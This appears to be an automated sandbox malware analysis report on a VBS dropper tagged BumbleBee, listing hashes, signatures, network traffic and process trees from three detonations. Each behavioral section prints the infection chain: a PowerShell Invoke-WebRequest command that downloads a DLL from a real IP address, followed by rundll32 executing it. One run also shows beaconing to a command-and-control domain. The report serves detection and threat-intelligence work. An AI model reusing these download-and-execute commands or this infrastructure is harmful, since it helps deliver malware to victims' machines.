Malware Analysis Report

2024-10-23 15:36

Sample ID 230915-qn1bmaca6s
Target IN(11)-9-12-2023_258806.vbs
SHA256 e8fec6cb888d59401c00b0ba9dcdff2285a71c88ff82de1ede13766ecf2910b3
Tags
bumblebee js1 trojan
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral3

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

e8fec6cb888d59401c00b0ba9dcdff2285a71c88ff82de1ede13766ecf2910b3

Threat Level: Known bad

The file IN(11)-9-12-2023_258806.vbs was found to be: Known bad.

Malicious Activity Summary

bumblebee js1 trojan

BumbleBee

Blocklisted process makes network request

Downloads MZ/PE file

Checks computer location settings

Loads dropped DLL

Suspicious use of NtCreateThreadExHideFromDebugger

Enumerates physical storage devices

Suspicious behavior: EnumeratesProcesses

Suspicious use of AdjustPrivilegeToken

Suspicious use of WriteProcessMemory

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2023-09-15 13:25

Signatures

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2023-09-15 13:25

Reported

2023-09-15 13:27

Platform

win7-20230831-en

Max time kernel

122s

Max time network

129s

Command Line

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\IN(11)-9-12-2023_258806.vbs"

Signatures

Enumerates physical storage devices

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Processes

C:\Windows\System32\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\IN(11)-9-12-2023_258806.vbs"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" invoke-webrequest -uri 'http://23.88.60.168/364f0rv1ni.dll' -outfile 'c:\users\public\name.dll';

C:\Windows\System32\rundll32.exe

"C:\Windows\System32\rundll32.exe" c:\users\public\name.dll,DllRegisterServer

Network

N/A

Files

memory/2976-4-0x000000001B240000-0x000000001B522000-memory.dmp

memory/2976-5-0x0000000002050000-0x0000000002058000-memory.dmp

memory/2976-6-0x000007FEF5460000-0x000007FEF5DFD000-memory.dmp

memory/2976-7-0x000007FEF5460000-0x000007FEF5DFD000-memory.dmp

memory/2976-8-0x00000000029E0000-0x0000000002A60000-memory.dmp

memory/2976-10-0x00000000029E0000-0x0000000002A60000-memory.dmp

memory/2976-9-0x00000000029E0000-0x0000000002A60000-memory.dmp

memory/2976-11-0x00000000029E0000-0x0000000002A60000-memory.dmp

memory/2976-12-0x000007FEF5460000-0x000007FEF5DFD000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2023-09-15 13:25

Reported

2023-09-15 13:27

Platform

win10-20230915-en

Max time kernel

128s

Max time network

136s

Command Line

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\IN(11)-9-12-2023_258806.vbs"

Signatures

BumbleBee

trojan bumblebee

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Downloads MZ/PE file

Loads dropped DLL

Description Indicator Process Target
N/A N/A C:\Windows\System32\rundll32.exe N/A

Suspicious use of NtCreateThreadExHideFromDebugger

Description Indicator Process Target
N/A N/A C:\Windows\System32\rundll32.exe N/A

Enumerates physical storage devices

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Processes

C:\Windows\System32\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\IN(11)-9-12-2023_258806.vbs"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" invoke-webrequest -uri 'http://23.88.60.168/364f0rv1ni.dll' -outfile 'c:\users\public\name.dll';

C:\Windows\System32\rundll32.exe

"C:\Windows\System32\rundll32.exe" c:\users\public\name.dll,DllRegisterServer

Network

Country Destination Domain Proto
DE 23.88.60.168:80 23.88.60.168 tcp
US 8.8.8.8:53 168.60.88.23.in-addr.arpa udp
US 8.8.8.8:53 8.8.8.8.in-addr.arpa udp
US 8.8.8.8:53 0.0.1.0.0.0.0.0.0.0.1.0.3.5.8.9.0.0.0.0.0.0.2.0.8.0.8.0.8.0.8.0.ip6.arpa udp
US 8.8.8.8:53 241.86.200.23.in-addr.arpa udp
US 8.8.8.8:53 14.227.111.52.in-addr.arpa udp
US 8.8.8.8:53 131.72.42.20.in-addr.arpa udp

Files

memory/2144-4-0x00007FF96BB80000-0x00007FF96C56C000-memory.dmp

memory/2144-5-0x0000026C3ED20000-0x0000026C3ED30000-memory.dmp

memory/2144-6-0x0000026C3ED20000-0x0000026C3ED30000-memory.dmp

memory/2144-7-0x0000026C3EC70000-0x0000026C3EC92000-memory.dmp

memory/2144-10-0x0000026C3EF30000-0x0000026C3EFA6000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ovrt0xxx.xed.ps1

MD5 c4ca4238a0b923820dcc509a6f75849b
SHA1 356a192b7913b04c54574d18c28d46e6395428ab
SHA256 6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b
SHA512 4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

memory/2144-26-0x0000026C3ED20000-0x0000026C3ED30000-memory.dmp

memory/2144-33-0x00007FF96BB80000-0x00007FF96C56C000-memory.dmp

\??\c:\users\public\name.dll

MD5 b139cab0622f45b6543f92effbd7fc49
SHA1 499506a1e54bcf805afd4fc34b222b8afdd7acd3
SHA256 9505aca42aa91cb6235bcc2b34e8a35e8116281b41ce0585ba9b06ac3799cb08
SHA512 83b5bcb345f16d9e363f19712639efb734a6268ad1d00f85cb2b988775a1266668a7fbe134eec756566121449b3bf1dee550270c7ff267e0921478311267d651

\Users\Public\name.dll

MD5 b139cab0622f45b6543f92effbd7fc49
SHA1 499506a1e54bcf805afd4fc34b222b8afdd7acd3
SHA256 9505aca42aa91cb6235bcc2b34e8a35e8116281b41ce0585ba9b06ac3799cb08
SHA512 83b5bcb345f16d9e363f19712639efb734a6268ad1d00f85cb2b988775a1266668a7fbe134eec756566121449b3bf1dee550270c7ff267e0921478311267d651

memory/3796-36-0x000001DF27F30000-0x000001DF27FA9000-memory.dmp

memory/3796-38-0x00007FF9883F0000-0x00007FF9885CB000-memory.dmp

memory/3796-37-0x000001DF28110000-0x000001DF2821A000-memory.dmp

memory/3796-39-0x00007FF9883F0000-0x00007FF9885CB000-memory.dmp

memory/3796-40-0x000001DF27F30000-0x000001DF27FA9000-memory.dmp

memory/3796-41-0x00007FF9883F0000-0x00007FF9885CB000-memory.dmp

Analysis: behavioral3

Detonation Overview

Submitted

2023-09-15 13:25

Reported

2023-09-15 13:27

Platform

win10v2004-20230915-en

Max time kernel

140s

Max time network

145s

Command Line

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\IN(11)-9-12-2023_258806.vbs"

Signatures

BumbleBee

trojan bumblebee

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\rundll32.exe N/A
N/A N/A C:\Windows\System32\rundll32.exe N/A
N/A N/A C:\Windows\System32\rundll32.exe N/A

Downloads MZ/PE file

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000\Control Panel\International\Geo\Nation C:\Windows\System32\WScript.exe N/A

Loads dropped DLL

Description Indicator Process Target
N/A N/A C:\Windows\System32\rundll32.exe N/A

Suspicious use of NtCreateThreadExHideFromDebugger

Description Indicator Process Target
N/A N/A C:\Windows\System32\rundll32.exe N/A

Enumerates physical storage devices

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 5036 wrote to memory of 3304 N/A C:\Windows\System32\WScript.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 5036 wrote to memory of 3304 N/A C:\Windows\System32\WScript.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 5036 wrote to memory of 1264 N/A C:\Windows\System32\WScript.exe C:\Windows\System32\rundll32.exe
PID 5036 wrote to memory of 1264 N/A C:\Windows\System32\WScript.exe C:\Windows\System32\rundll32.exe

Processes

C:\Windows\System32\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\IN(11)-9-12-2023_258806.vbs"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" invoke-webrequest -uri 'http://23.88.60.168/364f0rv1ni.dll' -outfile 'c:\users\public\name.dll';

C:\Windows\System32\rundll32.exe

"C:\Windows\System32\rundll32.exe" c:\users\public\name.dll,DllRegisterServer

Network

Country Destination Domain Proto
DE 23.88.60.168:80 23.88.60.168 tcp
US 8.8.8.8:53 168.60.88.23.in-addr.arpa udp
US 8.8.8.8:53 v5b6ml4o0nq.life udp
DE 116.203.151.240:443 v5b6ml4o0nq.life tcp
US 8.8.8.8:53 240.151.203.116.in-addr.arpa udp
DE 116.203.151.240:443 v5b6ml4o0nq.life tcp
US 8.8.8.8:53 19.229.111.52.in-addr.arpa udp
DE 116.203.151.240:443 v5b6ml4o0nq.life tcp
US 8.8.8.8:53 233.17.178.52.in-addr.arpa udp

Files

memory/3304-5-0x00000183CD220000-0x00000183CD242000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_hi1qfj2o.puq.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/3304-10-0x00007FF8155A0000-0x00007FF816061000-memory.dmp

memory/3304-11-0x00000183CD260000-0x00000183CD270000-memory.dmp

memory/3304-12-0x00000183CD260000-0x00000183CD270000-memory.dmp

memory/3304-13-0x00000183CD260000-0x00000183CD270000-memory.dmp

memory/3304-16-0x00007FF8155A0000-0x00007FF816061000-memory.dmp

\??\c:\users\public\name.dll

MD5 b139cab0622f45b6543f92effbd7fc49
SHA1 499506a1e54bcf805afd4fc34b222b8afdd7acd3
SHA256 9505aca42aa91cb6235bcc2b34e8a35e8116281b41ce0585ba9b06ac3799cb08
SHA512 83b5bcb345f16d9e363f19712639efb734a6268ad1d00f85cb2b988775a1266668a7fbe134eec756566121449b3bf1dee550270c7ff267e0921478311267d651

C:\Users\Public\name.dll

MD5 b139cab0622f45b6543f92effbd7fc49
SHA1 499506a1e54bcf805afd4fc34b222b8afdd7acd3
SHA256 9505aca42aa91cb6235bcc2b34e8a35e8116281b41ce0585ba9b06ac3799cb08
SHA512 83b5bcb345f16d9e363f19712639efb734a6268ad1d00f85cb2b988775a1266668a7fbe134eec756566121449b3bf1dee550270c7ff267e0921478311267d651

memory/1264-21-0x000001BBB2B30000-0x000001BBB2BA9000-memory.dmp

memory/1264-22-0x000001BBB4590000-0x000001BBB469A000-memory.dmp

memory/1264-23-0x00007FF8332B0000-0x00007FF8334A5000-memory.dmp

memory/1264-24-0x00007FF8332B0000-0x00007FF8334A5000-memory.dmp

memory/1264-25-0x00007FF8332B0000-0x00007FF8334A5000-memory.dmp

memory/1264-26-0x000001BBB4590000-0x000001BBB469A000-memory.dmp

memory/1264-27-0x000001BBB2B30000-0x000001BBB2BA9000-memory.dmp

memory/1264-28-0x00007FF8332B0000-0x00007FF8334A5000-memory.dmp